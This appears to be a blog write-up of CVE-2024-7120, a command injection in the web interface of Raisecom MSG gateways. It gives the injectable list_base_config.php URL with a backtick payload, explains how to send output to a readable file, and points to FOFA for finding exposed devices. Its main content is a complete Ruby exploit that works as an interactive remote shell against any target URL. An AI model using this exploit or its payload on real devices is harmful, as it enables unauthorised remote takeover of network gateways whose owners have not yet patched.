CVE-2024-7120
Raisecom gateway OS command injection

"A vulnerability, which was classified as critical, was found in Raisecom MSG1200, MSG2100E, MSG2200 and MSG2300 3.90.
This affects an unknown part of the file list_base_config.php of the component Web Interface.
The manipulation of the argument template leads to os command injection. It is possible to initiate the attack remotely.
The exploit has been disclosed to the public and may be used.
The associated identifier of this vulnerability is VDB-272451."

-nvd.nist.gov

Affected devices allow the execution of OS commands via the template parameter inside the list_base_config.php file.
Here's the interested /vpn/list_base_config.php?type=mod&parts=base_config&template=`RCE`
The response won't give us the output of the command so we have to do this manually, redirecting the output to a file with pipes.
Creating the /www/tmp/info.html file could be a thing because it can be seen by us.

For a more detailed and technical analysis of this vulnerability i suggest this link.
Looking for vulnerable targets
On FOFA during the publication of this article you could see more than 20K results. Crazy.
Fortunately, vulnerable hosts are decreasing thanks to people's awareness to update their software.

[*] fofa_results.png



Exploit code
To automate this, i wrote this exploit in ruby
require 'http'
require 'openssl'

puts """
CVE-2024-7120
Raisecom gateway RCE exploit
By komodo\n
"""

def main(url, cmd)
    url.delete_suffix("/") unless url[-1..-1] != "/"
    @ctx = OpenSSL::SSL::SSLContext.new()
    @ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
    headerz={"Accept"=>"*/*","Accept-Encoding"=>"gzip, deflate", "Connection"=>"keep-alive"}
    r=HTTP.get(url+"/vpn/list_base_config.php?type=mod&parts=base_config&template=`#{cmd.gsub(" ","+")}>/www/tmp/info.html`",
               :headers=>headerz, :ssl_context=>@ctx)
    if r.code != 200
        abort("Not vulnerable")
    else
        puts HTTP.get(url+"/tmp/info.html", :ssl_context=>@ctx).body
    end
end

begin
    print"\nBase URL: "
    u=gets.chomp
    while true
        print"\n> "
        main(u, gets.chomp)
    end
rescue => e
    abort(e.to_s)
end